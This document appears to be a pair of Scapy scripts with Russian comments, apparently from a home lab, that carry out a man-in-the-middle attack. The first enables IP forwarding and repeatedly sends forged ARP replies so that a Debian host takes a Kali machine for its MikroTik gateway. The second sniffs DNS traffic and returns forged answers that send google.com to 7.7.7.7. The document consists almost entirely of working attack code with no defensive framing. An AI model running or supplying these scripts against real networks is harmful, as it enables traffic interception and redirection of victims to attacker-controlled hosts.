sysctl -w net.ipv4.ip_forward=1
from scapy.all import *
import time
# Данные
target_ip = "192.168.30.12" # Debian
gateway_ip = "192.168.30.1" # MikroTik
def spoof():
# Отправляем Debian пакет: "Я (Kali) — это Роутер"
packet = ARP(op=2, pdst=target_ip, psrc=gateway_ip)
send(packet, verbose=False)
while True:
spoof()
time.sleep(2)
from scapy.all import *
def dns_spoof(pkt):
# Проверяем, что это DNS запрос (DNSQR)
if pkt.haslayer(DNSQR):
qname = pkt[DNSQR].qname.decode()
# Условие: если запрашивают конкретный хост (например, google.com)
if "google.com" in qname:
print(f"[!] Перехват запроса для {qname}")
# Собираем фальшивый ответ
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
an=DNSRR(rrname=qname, ttl=10, rdata="7.7.7.7")) # Твой кастомный IP
send(spoofed_pkt, verbose=False)
print(f"[+] Отправлен фейковый IP: 7.7.7.7")
# Запускаем сниффер на интерфейсе Kali (например, eth0)
print("[*] Ожидание DNS запросов...")
sniff(filter="udp port 53", prn=dns_spoof)